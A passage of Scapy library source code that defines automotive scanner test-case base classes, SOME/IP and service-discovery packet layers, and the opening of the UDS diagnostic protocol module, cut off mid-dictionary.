TODO: Fix unit tests and remove this function def __reduce__(self): # type: ignore f, t, d = super(StagedAutomotiveTestCase, self).__reduce__() # type: ignore # noqa: E501 try: del d["_StagedAutomotiveTestCase__connectors"] except KeyError: pass return f, t, d @property def test_cases(self): # type: () -> List[AutomotiveTestCaseABC] return self.__test_cases @property def current_test_case(self): # type: () -> AutomotiveTestCaseABC return self[self.__stage_index] @property def current_connector(self): # type: () -> Optional[_TestCaseConnectorCallable] if not self.__connectors: return None else: return self.__connectors[self.__stage_index] @property def previous_test_case(self): # type: () -> Optional[AutomotiveTestCaseABC] return self.__test_cases[self.__stage_index - 1] if \ self.__stage_index > 0 else None def get_generated_test_case(self): # type: () -> Optional[AutomotiveTestCaseABC] try: test_case = cast(TestCaseGenerator, self.current_test_case) return test_case.get_generated_test_case() except AttributeError: return None def get_new_edge(self, socket, # type: _SocketUnion config # type: AutomotiveTestCaseExecutorConfiguration ): # type: (...) -> Optional[_Edge] try: test_case = cast(StateGenerator, self.current_test_case) return test_case.get_new_edge(socket, config) except AttributeError: return None def get_transition_function(self, socket, edge): # type: (_SocketUnion, _Edge) -> Optional[_TransitionTuple] try: test_case = cast(StateGenerator, self.current_test_case) return test_case.get_transition_function(socket, edge) except AttributeError: return None def has_completed(self, state): # type: (EcuState) -> bool if not (self.current_test_case.has_completed(state) and self.current_test_case.completed): # current test_case not fully completed # reset completion delay, since new states could have been appeared self.__completion_delay = 0 return False # current stage is finished. We have to increase the stage if self.__completion_delay < StagedAutomotiveTestCase.__delay_stages: # First we wait five more iteration of the executor # Maybe one more execution reveals new states of other # test_cases self.__completion_delay += 1 return False # current test_case is fully completed elif self.__stage_index == len(self.__test_cases) - 1: # this test_case was the last test_case... nothing to do return True else: # We waited more iterations and no new state appeared, # let's enter the next stage log_automotive.info( "Staged AutomotiveTestCase %s completed", self.current_test_case.__class__.__name__) self.__stage_index += 1 self.__completion_delay = 0 return False def pre_execute(self, socket, # type: _SocketUnion state, # type: EcuState global_configuration # type: AutomotiveTestCaseExecutorConfiguration # noqa: E501 ): # type: (...) -> None test_case_cls = self.current_test_case.__class__ try: self.__current_kwargs = global_configuration[ test_case_cls.__name__] except KeyError: self.__current_kwargs = dict() global_configuration[test_case_cls.__name__] = \ self.__current_kwargs if callable(self.current_connector) and self.__stage_index > 0: if self.previous_test_case: con = self.current_connector # type: _TestCaseConnectorCallable # noqa: E501 con_kwargs = con(self.previous_test_case, self.current_test_case) if self.__current_kwargs is not None and con_kwargs is not None: # noqa: E501 self.__current_kwargs.update(con_kwargs) log_automotive.debug("Stage AutomotiveTestCase %s kwargs: %s", self.current_test_case.__class__.__name__, self.__current_kwargs) self.current_test_case.pre_execute(socket, state, global_configuration) def execute(self, socket, state, **kwargs): # type: (_SocketUnion, EcuState, Any) -> None kwargs.update(self.__current_kwargs or dict()) self.current_test_case.execute(socket, state, **kwargs) def post_execute(self, socket, # type: _SocketUnion state, # type: EcuState global_configuration # type: AutomotiveTestCaseExecutorConfiguration # noqa: E501 ): # type: (...) -> None self.current_test_case.post_execute( socket, state, global_configuration) @staticmethod def _show_headline(headline, sep="="): # type: (str, str) -> str s = "\n\n" + sep * (len(headline) + 10) + "\n" s += " " * 5 + headline + "\n" s += sep * (len(headline) + 10) + "\n" return s + "\n" def show(self, dump=False, filtered=True, verbose=False): # type: (bool, bool, bool) -> Optional[str] s = self._show_headline("AutomotiveTestCase Pipeline", "=") for idx, t in enumerate(self.__test_cases): s += self._show_headline( "AutomotiveTestCase Stage %d" % idx, "-") s += t.show(True, filtered, verbose) or "" if dump: return s + "\n" else: print(s) return None @property def completed(self): # type: () -> bool return all(e.completed for e in self.__test_cases) and \ self.__completion_delay >= StagedAutomotiveTestCase.__delay_stages @property def supported_responses(self): # type: () -> List[EcuResponse] supported_responses = list() for tc in self.test_cases: supported_responses += tc.supported_responses supported_responses.sort(key=Ecu.sort_key_func) return supported_responses def runtime_estimation(self): # type: () -> Optional[Tuple[int, int, float]] if hasattr(self.current_test_case, "runtime_estimation"): cur_est = self.current_test_case.runtime_estimation() if cur_est: return len(self.test_cases), \ self.__stage_index, \ float(self.__stage_index) / len(self.test_cases) + \ cur_est[2] / len(self.test_cases) return len(self.test_cases), \ self.__stage_index, \ float(self.__stage_index) / len(self.test_cases) ================================================ FILE: scapy/contrib/automotive/scanner/test_case.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # scapy.contrib.description = TestCase base class definitions # scapy.contrib.status = library import abc from collections import defaultdict from scapy.utils import make_lined_table, SingleConversationSocket from scapy.supersocket import SuperSocket from scapy.contrib.automotive.scanner.graph import _Edge from scapy.contrib.automotive.ecu import EcuState, EcuResponse from scapy.error import Scapy_Exception # Typing imports from typing import ( Any, Union, List, Optional, Dict, Tuple, Set, Callable, TYPE_CHECKING, ) if TYPE_CHECKING: from scapy.contrib.automotive.scanner.configuration import AutomotiveTestCaseExecutorConfiguration # noqa: E501 # type definitions _SocketUnion = Union[SuperSocket, SingleConversationSocket] _TransitionCallable = Callable[[_SocketUnion, "AutomotiveTestCaseExecutorConfiguration", Dict[str, Any]], bool] # noqa: E501 _CleanupCallable = Callable[[_SocketUnion, "AutomotiveTestCaseExecutorConfiguration"], bool] # noqa: E501 _TransitionTuple = Tuple[_TransitionCallable, Dict[str, Any], Optional[_CleanupCallable]] # noqa: E501 class AutomotiveTestCaseABC(metaclass=abc.ABCMeta): """ Base class for "TestCase" objects. In automotive scanners, these TestCase objects are used for individual tasks, for example enumerating over one kind of functionality of the protocol. It is also possible, that these TestCase objects execute complex tests on an ECU. The TestCaseExecuter object has a list of TestCases. The executer manipulates a device under test (DUT), to enter a certain state. In this state, the TestCase object gets executed. """ _supported_kwargs = {} # type: Dict[str, Tuple[Any, Optional[Callable[[Any], bool]]]] # noqa: E501 _supported_kwargs_doc = "" @abc.abstractmethod def has_completed(self, state): # type: (EcuState) -> bool """ Tells if this TestCase was executed for a certain state :param state: State of interest :return: True, if TestCase was executed in the questioned state """ raise NotImplementedError() @abc.abstractmethod def pre_execute(self, socket, # type: _SocketUnion state, # type: EcuState global_configuration # type: AutomotiveTestCaseExecutorConfiguration # noqa: E501 ): # type: (...) -> None """ Will be executed previously to ``execute``. This function can be used to manipulate the configuration passed to execute. :param socket: Socket object with the connection to a DUT :param state: Current state of the DUT :param global_configuration: Configuration of the TestCaseExecutor """ raise NotImplementedError() @abc.abstractmethod def execute(self, socket, state, **kwargs): # type: (_SocketUnion, EcuState, Any) -> None """ Executes this TestCase for a given state :param socket: Socket object with the connection to a DUT :param state: Current state of the DUT :param kwargs: Local configuration of the TestCasesExecutor :return: """ raise NotImplementedError() @abc.abstractmethod def post_execute(self, socket, # type: _SocketUnion state, # type: EcuState global_configuration # type: AutomotiveTestCaseExecutorConfiguration # noqa: E501 ): # type: (...) -> None """ Will be executed subsequently to ``execute``. This function can be used for additional evaluations after the ``execute``. :param socket: Socket object with the connection to a DUT :param state: Current state of the DUT :param global_configuration: Configuration of the TestCaseExecutor """ raise NotImplementedError() @abc.abstractmethod def show(self, dump=False, filtered=True, verbose=False): # type: (bool, bool, bool) -> Optional[str] """ Shows results of TestCase :param dump: If True, the results will be returned; If False, the results will be printed. :param filtered: If True, the negative responses will be filtered dynamically. :param verbose: If True, additional information will be provided. :return: test results of TestCase if parameter ``dump`` is True, else ``None`` """ raise NotImplementedError() @property @abc.abstractmethod def completed(self): # type: () -> bool """ Tells if this TestCase is completely executed :return: True, if TestCase is completely executed """ raise NotImplementedError @property @abc.abstractmethod def supported_responses(self): # type: () -> List[EcuResponse] """ Tells the supported responses in TestCase :return: The list of supported responses """ raise NotImplementedError class AutomotiveTestCase(AutomotiveTestCaseABC): """ Base class for TestCases""" _description = "AutomotiveTestCase" _supported_kwargs = AutomotiveTestCaseABC._supported_kwargs _supported_kwargs_doc = AutomotiveTestCaseABC._supported_kwargs_doc def __init__(self): # type: () -> None self._state_completed = defaultdict(bool) # type: Dict[EcuState, bool] def has_completed(self, state): # type: (EcuState) -> bool return self._state_completed[state] @classmethod def check_kwargs(cls, kwargs): # type: (Dict[str, Any]) -> None for k, v in kwargs.items(): if k not in cls._supported_kwargs.keys(): raise Scapy_Exception( "Keyword-Argument %s not supported for %s" % (k, cls.__name__)) ti, vf = cls._supported_kwargs[k] if ti is not None and not isinstance(v, ti): raise Scapy_Exception( "Keyword-Value '%s' is not instance of type %s" % (k, str(ti))) if vf is not None and not vf(v): raise Scapy_Exception( "Validation Error: '%s: %s' is not in the allowed " "value range" % (k, str(v)) ) @property def completed(self): # type: () -> bool return all(v for _, v in self._state_completed.items()) @property def scanned_states(self): # type: () -> Set[EcuState] """ Helper function to get all scanned states :return: all scanned states """ return set(self._state_completed.keys()) def pre_execute(self, socket, state, global_configuration): # type: (_SocketUnion, EcuState, AutomotiveTestCaseExecutorConfiguration) -> None # noqa: E501 pass def execute(self, socket, state, **kwargs): # type: (_SocketUnion, EcuState, Any) -> None raise NotImplementedError() def post_execute(self, socket, state, global_configuration): # type: (_SocketUnion, EcuState, AutomotiveTestCaseExecutorConfiguration) -> None # noqa: E501 pass def _show_header(self, **kwargs): # type: (Any) -> str s = "\n\n" + "=" * (len(self._description) + 10) + "\n" s += " " * 5 + self._description + "\n" s += "-" * (len(self._description) + 10) + "\n" return s + "\n" def _show_state_information(self, **kwargs): # type: (Any) -> str completed = [(state, self._state_completed[state]) for state in self.scanned_states] return make_lined_table( completed, lambda x, y: ("Scan state completed", x, y), dump=True) or "" def show(self, dump=False, filtered=True, verbose=False): # type: (bool, bool, bool) -> Optional[str] s = self._show_header() if verbose: s += self._show_state_information() if dump: return s + "\n" else: print(s) return None class TestCaseGenerator(metaclass=abc.ABCMeta): @abc.abstractmethod def get_generated_test_case(self): # type: () -> Optional[AutomotiveTestCaseABC] raise NotImplementedError() class StateGenerator(metaclass=abc.ABCMeta): @abc.abstractmethod def get_new_edge(self, socket, config): # type: (_SocketUnion, AutomotiveTestCaseExecutorConfiguration) -> Optional[_Edge] # noqa: E501 raise NotImplementedError @abc.abstractmethod def get_transition_function(self, socket, edge): # type: (_SocketUnion, _Edge) -> Optional[_TransitionTuple] """ :param socket: Socket to target :param edge: Tuple of EcuState objects for the requested transition function :return: Returns an optional tuple consisting of a transition function, a keyword arguments dictionary for the transition function and a cleanup function. Both functions take a Socket and the TestCaseExecutor configuration as arguments and return True if the execution was successful. The first function is the state enter function, the second function is a cleanup function """ raise NotImplementedError ================================================ FILE: scapy/contrib/automotive/someip.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Sebastian Baar # Copyright (c) 2018 Jose Amores # scapy.contrib.description = Scalable service-Oriented MiddlewarE/IP (SOME/IP) # scapy.contrib.status = loads import struct from scapy.layers.inet import TCP, UDP from scapy.layers.inet6 import IP6Field from scapy.compat import raw, orb from scapy.config import conf from scapy.packet import (Packet, Raw, bind_top_down, bind_bottom_up, bind_layers) from scapy.fields import (XShortField, ConditionalField, BitField, XBitField, XByteField, ByteEnumField, ShortField, X3BytesField, StrLenField, IPField, FieldLenField, PacketListField, XIntField, MultipleTypeField, FlagsField, XByteEnumField, BitScalingField, LenField) class SOMEIP(Packet): """ SOME/IP Packet.""" PROTOCOL_VERSION = 0x01 INTERFACE_VERSION = 0x01 LEN_OFFSET = 0x08 LEN_OFFSET_TP = 0x0c TYPE_REQUEST = 0x00 TYPE_REQUEST_NO_RET = 0x01 TYPE_NOTIFICATION = 0x02 TYPE_REQUEST_ACK = 0x40 TYPE_REQUEST_NORET_ACK = 0x41 TYPE_NOTIFICATION_ACK = 0x42 TYPE_RESPONSE = 0x80 TYPE_ERROR = 0x81 TYPE_RESPONSE_ACK = 0xc0 TYPE_ERROR_ACK = 0xc1 TYPE_TP_REQUEST = 0x20 TYPE_TP_REQUEST_NO_RET = 0x21 TYPE_TP_NOTIFICATION = 0x22 TYPE_TP_RESPONSE = 0xa0 TYPE_TP_ERROR = 0xa1 RET_E_OK = 0x00 RET_E_NOT_OK = 0x01 RET_E_UNKNOWN_SERVICE = 0x02 RET_E_UNKNOWN_METHOD = 0x03 RET_E_NOT_READY = 0x04 RET_E_NOT_REACHABLE = 0x05 RET_E_TIMEOUT = 0x06 RET_E_WRONG_PROTOCOL_V = 0x07 RET_E_WRONG_INTERFACE_V = 0x08 RET_E_MALFORMED_MSG = 0x09 RET_E_WRONG_MESSAGE_TYPE = 0x0a _OVERALL_LEN_NOPAYLOAD = 16 name = "SOME/IP" fields_desc = [ XShortField("srv_id", 0), MultipleTypeField( [ (XShortField("sub_id", 0), (lambda pkt: False, lambda pkt, val: val < 0x8000), "method_id"), (XShortField("sub_id", 0), (lambda pkt: False, lambda pkt, val: val >= 0x8000), "event_id"), ], XShortField("sub_id", 0), ), LenField("len", None, fmt=">I", adjust=lambda x: x + 8), XShortField("client_id", 0), XShortField("session_id", 0), XByteField("proto_ver", PROTOCOL_VERSION), XByteField("iface_ver", INTERFACE_VERSION), ByteEnumField("msg_type", TYPE_REQUEST, { TYPE_REQUEST: "REQUEST", TYPE_REQUEST_NO_RET: "REQUEST_NO_RETURN", TYPE_NOTIFICATION: "NOTIFICATION", TYPE_REQUEST_ACK: "REQUEST_ACK", TYPE_REQUEST_NORET_ACK: "REQUEST_NO_RETURN_ACK", TYPE_NOTIFICATION_ACK: "NOTIFICATION_ACK", TYPE_RESPONSE: "RESPONSE", TYPE_ERROR: "ERROR", TYPE_RESPONSE_ACK: "RESPONSE_ACK", TYPE_ERROR_ACK: "ERROR_ACK", TYPE_TP_REQUEST: "TP_REQUEST", TYPE_TP_REQUEST_NO_RET: "TP_REQUEST_NO_RETURN", TYPE_TP_NOTIFICATION: "TP_NOTIFICATION", TYPE_TP_RESPONSE: "TP_RESPONSE", TYPE_TP_ERROR: "TP_ERROR", }), ByteEnumField("retcode", 0, { RET_E_OK: "E_OK", RET_E_NOT_OK: "E_NOT_OK", RET_E_UNKNOWN_SERVICE: "E_UNKNOWN_SERVICE", RET_E_UNKNOWN_METHOD: "E_UNKNOWN_METHOD", RET_E_NOT_READY: "E_NOT_READY", RET_E_NOT_REACHABLE: "E_NOT_REACHABLE", RET_E_TIMEOUT: "E_TIMEOUT", RET_E_WRONG_PROTOCOL_V: "E_WRONG_PROTOCOL_VERSION", RET_E_WRONG_INTERFACE_V: "E_WRONG_INTERFACE_VERSION", RET_E_MALFORMED_MSG: "E_MALFORMED_MESSAGE", RET_E_WRONG_MESSAGE_TYPE: "E_WRONG_MESSAGE_TYPE", }), ConditionalField( BitScalingField("offset", 0, 28, scaling=16, unit="bytes"), lambda pkt: SOMEIP._is_tp(pkt)), # noqa: E501 ConditionalField( BitField("res", 0, 3), lambda pkt: SOMEIP._is_tp(pkt)), # noqa: E501 ConditionalField( BitField("more_seg", 0, 1), lambda pkt: SOMEIP._is_tp(pkt)), # noqa: E501 PacketListField( "data", [Raw()], Raw, length_from=lambda pkt: pkt.len - (SOMEIP.LEN_OFFSET_TP if (SOMEIP._is_tp(pkt) and (pkt.len is None or pkt.len >= SOMEIP.LEN_OFFSET_TP)) else SOMEIP.LEN_OFFSET), # noqa: E501 next_cls_cb=lambda pkt, lst, cur, remain: SOMEIP.get_payload_cls_by_srv_id(pkt, lst, cur, remain)) # noqa: E501 ] payload_cls_by_srv_id = dict() # To be customized @staticmethod def get_payload_cls_by_srv_id(pkt, lst, cur, remain): return SOMEIP.payload_cls_by_srv_id.get(pkt.srv_id, Raw) def post_build(self, pkt, pay): length = self.len if length is None: if SOMEIP._is_tp(self): length = SOMEIP.LEN_OFFSET_TP + len(pay) else: length = SOMEIP.LEN_OFFSET + len(pay) pkt = pkt[:4] + struct.pack("!I", length) + pkt[8:] return pkt + pay def answers(self, other): if isinstance(other, type(self)): if self.msg_type in [SOMEIP.TYPE_REQUEST_NO_RET, SOMEIP.TYPE_REQUEST_NORET_ACK, SOMEIP.TYPE_NOTIFICATION, SOMEIP.TYPE_TP_REQUEST_NO_RET, SOMEIP.TYPE_TP_NOTIFICATION]: return 0 return self.payload.answers(other.payload) return 0 @staticmethod def _is_tp(pkt): """Returns true if pkt is using SOMEIP-TP, else returns false.""" if isinstance(pkt, Packet): return pkt.msg_type & 0x20 else: return pkt[15] & 0x20 @staticmethod def _is_sd(pkt): """Returns true if pkt is using SOMEIP-SD, else returns false.""" if isinstance(pkt, Packet): return pkt.srv_id == 0xffff and pkt.sub_id == 0x8100 else: return pkt[:4] == b"\xff\xff\x81\x00" def fragment(self, fragsize=1392): """Fragment SOME/IP-TP""" fnb = 0 fl = self lst = list() while fl.underlayer is not None: fnb += 1 fl = fl.underlayer has_payload = len(self.data) == 0 or sum(len(p) for p in self.data) == 0 for p in fl: if has_payload: s = raw(p[fnb].payload) else: s = raw(p[fnb].data[0]) nb = (len(s) + fragsize) // fragsize for i in range(nb): q = p.copy() if has_payload: del q[fnb].payload else: del q[fnb].data[0] q[fnb].len = SOMEIP.LEN_OFFSET_TP + \ len(s[i * fragsize:(i + 1) * fragsize]) q[fnb].more_seg = 1 if i == nb - 1: q[fnb].more_seg = 0 q[fnb].offset += i * fragsize r = conf.raw_layer(load=s[i * fragsize:(i + 1) * fragsize]) if has_payload: r.overload_fields = p[fnb].payload.overload_fields.copy() else: r.overload_fields = p[fnb].data[0].overload_fields.copy() if has_payload: q.add_payload(r) else: q.data.append(r) lst.append(q) return lst def _bind_someip_layers(): bind_top_down(UDP, SOMEIP, sport=30490, dport=30490) for i in range(15): bind_bottom_up(UDP, SOMEIP, sport=30490 + i) bind_bottom_up(TCP, SOMEIP, sport=30490 + i) bind_bottom_up(UDP, SOMEIP, dport=30490 + i) bind_bottom_up(TCP, SOMEIP, dport=30490 + i) _bind_someip_layers() bind_layers(SOMEIP, SOMEIP) class _SDPacketBase(Packet): """ base class to be used among all SD Packet definitions.""" def extract_padding(self, s): return "", s SDENTRY_TYPE_SRV_FINDSERVICE = 0x00 SDENTRY_TYPE_SRV_OFFERSERVICE = 0x01 SDENTRY_TYPE_SRV = (SDENTRY_TYPE_SRV_FINDSERVICE, SDENTRY_TYPE_SRV_OFFERSERVICE) SDENTRY_TYPE_EVTGRP_SUBSCRIBE = 0x06 SDENTRY_TYPE_EVTGRP_SUBSCRIBE_ACK = 0x07 SDENTRY_TYPE_EVTGRP = (SDENTRY_TYPE_EVTGRP_SUBSCRIBE, SDENTRY_TYPE_EVTGRP_SUBSCRIBE_ACK) SDENTRY_OVERALL_LEN = 16 def _MAKE_SDENTRY_COMMON_FIELDS_DESC(type): return [ XByteEnumField("type", type, { 0: "FindService", 1: "OfferService", 6: "SubscribeEventgroup", 7: "SubscribeEventgroupACK"}), XByteField("index_1", 0), XByteField("index_2", 0), XBitField("n_opt_1", 0, 4), XBitField("n_opt_2", 0, 4), XShortField("srv_id", 0), XShortField("inst_id", 0), XByteField("major_ver", 0), X3BytesField("ttl", 0) ] class SDEntry_Service(_SDPacketBase): name = "Service Entry" fields_desc = _MAKE_SDENTRY_COMMON_FIELDS_DESC( SDENTRY_TYPE_SRV_FINDSERVICE) fields_desc += [ XIntField("minor_ver", 0) ] class SDEntry_EventGroup(_SDPacketBase): name = "Eventgroup Entry" fields_desc = _MAKE_SDENTRY_COMMON_FIELDS_DESC( SDENTRY_TYPE_EVTGRP_SUBSCRIBE) fields_desc += [ XBitField("res", 0, 12), XBitField("cnt", 0, 4), XShortField("eventgroup_id", 0) ] def _sdentry_class(payload, **kargs): TYPE_PAYLOAD_I = 0 pl_type = orb(payload[TYPE_PAYLOAD_I]) cls = None if pl_type in SDENTRY_TYPE_SRV: cls = SDEntry_Service elif pl_type in SDENTRY_TYPE_EVTGRP: cls = SDEntry_EventGroup return cls(payload, **kargs) def _sdoption_class(payload, **kargs): pl_type = orb(payload[2]) cls = { SDOPTION_CFG_TYPE: SDOption_Config, SDOPTION_LOADBALANCE_TYPE: SDOption_LoadBalance, SDOPTION_IP4_ENDPOINT_TYPE: SDOption_IP4_EndPoint, SDOPTION_IP4_MCAST_TYPE: SDOption_IP4_Multicast, SDOPTION_IP4_SDENDPOINT_TYPE: SDOption_IP4_SD_EndPoint, SDOPTION_IP6_ENDPOINT_TYPE: SDOption_IP6_EndPoint, SDOPTION_IP6_MCAST_TYPE: SDOption_IP6_Multicast, SDOPTION_IP6_SDENDPOINT_TYPE: SDOption_IP6_SD_EndPoint }.get(pl_type, Raw) return cls(payload, **kargs) # SD Option SDOPTION_CFG_TYPE = 0x01 SDOPTION_LOADBALANCE_TYPE = 0x02 SDOPTION_LOADBALANCE_LEN = 0x05 SDOPTION_IP4_ENDPOINT_TYPE = 0x04 SDOPTION_IP4_ENDPOINT_LEN = 0x0009 SDOPTION_IP4_MCAST_TYPE = 0x14 SDOPTION_IP4_MCAST_LEN = 0x0009 SDOPTION_IP4_SDENDPOINT_TYPE = 0x24 SDOPTION_IP4_SDENDPOINT_LEN = 0x0009 SDOPTION_IP6_ENDPOINT_TYPE = 0x06 SDOPTION_IP6_ENDPOINT_LEN = 0x0015 SDOPTION_IP6_MCAST_TYPE = 0x16 SDOPTION_IP6_MCAST_LEN = 0x0015 SDOPTION_IP6_SDENDPOINT_TYPE = 0x26 SDOPTION_IP6_SDENDPOINT_LEN = 0x0015 def _MAKE_COMMON_SDOPTION_FIELDS_DESC(type, length=None): return [ ShortField("len", length), XByteEnumField("type", type, { SDOPTION_CFG_TYPE: "Configuration", SDOPTION_LOADBALANCE_TYPE: "LoadBalancing", SDOPTION_IP4_ENDPOINT_TYPE: "IPv4Endpoint", SDOPTION_IP4_MCAST_TYPE: "IPv4MultiCast", SDOPTION_IP4_SDENDPOINT_TYPE: "IPv4SDEndpoint", SDOPTION_IP6_ENDPOINT_TYPE: "IPv6Endpoint", SDOPTION_IP6_MCAST_TYPE: "IPv6MultiCast", SDOPTION_IP6_SDENDPOINT_TYPE: "IPv6SDEndpoint"}), XByteField("res_hdr", 0) ] def _MAKE_COMMON_IP_SDOPTION_FIELDS_DESC(): return [ XByteField("res_tail", 0), ByteEnumField("l4_proto", 0x11, {0x06: "TCP", 0x11: "UDP"}), ShortField("port", 0) ] class SDOption_Config(_SDPacketBase): name = "Config Option" fields_desc = _MAKE_COMMON_SDOPTION_FIELDS_DESC(SDOPTION_CFG_TYPE) + [ StrLenField("cfg_str", b"\x00", length_from=lambda pkt: pkt.len - 1) ] def post_build(self, pkt, pay): if self.len is None: length = len(self.cfg_str) + 1 # res_hdr field takes 1 byte pkt = struct.pack("!H", length) + pkt[2:] return pkt + pay @staticmethod def make_string(data): # Build a valid null-terminated configuration string from a dict or a # list with key-value pairs. # # Example: # >>> SDOption_Config.make_string({ "hello": "world" }) # b'\x0bhello=world\x00' # # >>> SDOption_Config.make_string([ # ... ("x", "y"), # ... ("abc", "def"), # ... ("123", "456") # ... ]) # b'\x03x=y\x07abc=def\x07123=456\x00' if isinstance(data, dict): data = data.items() # combine entries data = ("{}={}".format(k, v) for k, v in data) # prepend length data = ("{}{}".format(chr(len(v)), v) for v in data) # concatenate data = "".join(data) data += "\x00" return data.encode("utf8") class SDOption_LoadBalance(_SDPacketBase): name = "LoadBalance Option" fields_desc = _MAKE_COMMON_SDOPTION_FIELDS_DESC( SDOPTION_LOADBALANCE_TYPE, SDOPTION_LOADBALANCE_LEN) fields_desc += [ ShortField("priority", 0), ShortField("weight", 0) ] class SDOption_IP4_EndPoint(_SDPacketBase): name = "IP4 EndPoint Option" fields_desc = _MAKE_COMMON_SDOPTION_FIELDS_DESC( SDOPTION_IP4_ENDPOINT_TYPE, SDOPTION_IP4_ENDPOINT_LEN) fields_desc += [ IPField("addr", "0.0.0.0"), ] + _MAKE_COMMON_IP_SDOPTION_FIELDS_DESC() class SDOption_IP4_Multicast(_SDPacketBase): name = "IP4 Multicast Option" fields_desc = _MAKE_COMMON_SDOPTION_FIELDS_DESC( SDOPTION_IP4_MCAST_TYPE, SDOPTION_IP4_MCAST_LEN) fields_desc += [ IPField("addr", "0.0.0.0"), ] + _MAKE_COMMON_IP_SDOPTION_FIELDS_DESC() class SDOption_IP4_SD_EndPoint(_SDPacketBase): name = "IP4 SDEndPoint Option" fields_desc = _MAKE_COMMON_SDOPTION_FIELDS_DESC( SDOPTION_IP4_SDENDPOINT_TYPE, SDOPTION_IP4_SDENDPOINT_LEN) fields_desc += [ IPField("addr", "0.0.0.0"), ] + _MAKE_COMMON_IP_SDOPTION_FIELDS_DESC() class SDOption_IP6_EndPoint(_SDPacketBase): name = "IP6 EndPoint Option" fields_desc = _MAKE_COMMON_SDOPTION_FIELDS_DESC( SDOPTION_IP6_ENDPOINT_TYPE, SDOPTION_IP6_ENDPOINT_LEN) fields_desc += [ IP6Field("addr", "::"), ] + _MAKE_COMMON_IP_SDOPTION_FIELDS_DESC() class SDOption_IP6_Multicast(_SDPacketBase): name = "IP6 Multicast Option" fields_desc = _MAKE_COMMON_SDOPTION_FIELDS_DESC( SDOPTION_IP6_MCAST_TYPE, SDOPTION_IP6_MCAST_LEN) fields_desc += [ IP6Field("addr", "::"), ] + _MAKE_COMMON_IP_SDOPTION_FIELDS_DESC() class SDOption_IP6_SD_EndPoint(_SDPacketBase): name = "IP6 SDEndPoint Option" fields_desc = _MAKE_COMMON_SDOPTION_FIELDS_DESC( SDOPTION_IP6_SDENDPOINT_TYPE, SDOPTION_IP6_SDENDPOINT_LEN) fields_desc += [ IP6Field("addr", "::"), ] + _MAKE_COMMON_IP_SDOPTION_FIELDS_DESC() ## # SD PACKAGE DEFINITION ## class SD(_SDPacketBase): """ SD Packet NOTE : when adding 'entries' or 'options', do not use list.append() method but create a new list e.g. : p = SD() p.option_array = [SDOption_Config(),SDOption_IP6_EndPoint()] """ SOMEIP_MSGID_SRVID = 0xffff SOMEIP_MSGID_SUBID = 0x8100 SOMEIP_CLIENT_ID = 0x0000 SOMEIP_MINIMUM_SESSION_ID = 0x0001 SOMEIP_PROTO_VER = 0x01 SOMEIP_IFACE_VER = 0x01 SOMEIP_MSG_TYPE = SOMEIP.TYPE_NOTIFICATION SOMEIP_RETCODE = SOMEIP.RET_E_OK name = "SD" fields_desc = [ FlagsField("flags", 0, 8, [ "res0", "res1", "res2", "res3", "res4", "EXPLICIT_INITIAL_DATA_CONTROL", "UNICAST", "REBOOT"]), X3BytesField("res", 0), FieldLenField("len_entry_array", None, length_of="entry_array", fmt="!I"), PacketListField("entry_array", None, _sdentry_class, length_from=lambda pkt: pkt.len_entry_array), FieldLenField("len_option_array", None, length_of="option_array", fmt="!I"), PacketListField("option_array", None, _sdoption_class, length_from=lambda pkt: pkt.len_option_array) ] def set_entryArray(self, entry_list): if isinstance(entry_list, list): self.entry_array = entry_list else: self.entry_array = [entry_list] def set_optionArray(self, option_list): if isinstance(option_list, list): self.option_array = option_list else: self.option_array = [option_list] bind_top_down(SOMEIP, SD, srv_id=SD.SOMEIP_MSGID_SRVID, sub_id=SD.SOMEIP_MSGID_SUBID, client_id=SD.SOMEIP_CLIENT_ID, session_id=SD.SOMEIP_MINIMUM_SESSION_ID, proto_ver=SD.SOMEIP_PROTO_VER, iface_ver=SD.SOMEIP_IFACE_VER, msg_type=SD.SOMEIP_MSG_TYPE, retcode=SD.SOMEIP_RETCODE) bind_bottom_up(SOMEIP, SD, srv_id=SD.SOMEIP_MSGID_SRVID, sub_id=SD.SOMEIP_MSGID_SUBID, proto_ver=SD.SOMEIP_PROTO_VER, iface_ver=SD.SOMEIP_IFACE_VER, msg_type=SD.SOMEIP_MSG_TYPE, retcode=SD.SOMEIP_RETCODE) # FIXME: Service Discovery messages shall be transported over UDP # (TR_SOMEIP_00248) # FIXME: The port 30490 (UDP and TCP as well) shall be only used for SOME/IP-SD # and not used for applications communicating over SOME/IP # (TR_SOMEIP_00020) ================================================ FILE: scapy/contrib/automotive/uds.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # scapy.contrib.description = Unified Diagnostic Service (UDS) # scapy.contrib.status = loads """ UDS """ import struct from collections import defaultdict from scapy.fields import ByteEnumField, StrField, ConditionalField, \ BitEnumField, BitField, XByteField, FieldListField, \ XShortField, X3BytesField, XIntField, ByteField, \ ShortField, ObservableDict, XShortEnumField, XByteEnumField, StrLenField, \ FieldLenField, XStrFixedLenField, XStrLenField, FlagsField, PacketListField, \ PacketField from scapy.packet import Packet, bind_layers, NoPayload, Raw from scapy.config import conf from scapy.utils import PeriodicSenderThread from scapy.contrib.isotp import ISOTP # Typing imports from typing import ( Dict, Union, ) try: if conf.contribs['UDS']['treat-response-pending-as-answer']: pass except KeyError: # log_loading.info("Specify \"conf.contribs['UDS'] = " # "{'treat-response-pending-as-answer': True}\" to treat " # "a negative response 'requestCorrectlyReceived-" # "ResponsePending' as answer of a request. \n" # "The default value is False.") conf.contribs['UDS'] = {'treat-response-pending-as-answer': False} conf.debug_dissector = True class UDS(ISOTP): services = ObservableDict( {0x10: 'DiagnosticSessionControl', 0x11: 'ECUReset', 0x14: 'ClearDiagnosticInformation', 0x19: 'ReadDTCInformation', 0x22: 'ReadDataByIdentifier', 0x23: 'ReadMemoryByAddress', 0x24: 'ReadScalingDataByIdentifier', 0x27: 'SecurityAccess', 0x28: 'CommunicationControl', 0x29: 'Authentication', 0x2A: 'ReadDataPeriodicIdentifier', 0x2C: 'DynamicallyDefineDataIdentifier', 0x2E: 'WriteDataByIdentifier', 0x2F: 'InputOutputControlByIdentifier', 0x31: 'RoutineControl', 0x34: 'RequestDownload', 0x35: 'RequestUpload', 0x36: 'TransferData', 0x37: 'RequestTransferExit', 0x38: 'RequestFileTransfer', 0x3D: 'WriteMemoryByAddress', 0x3E: 'TesterPresent', 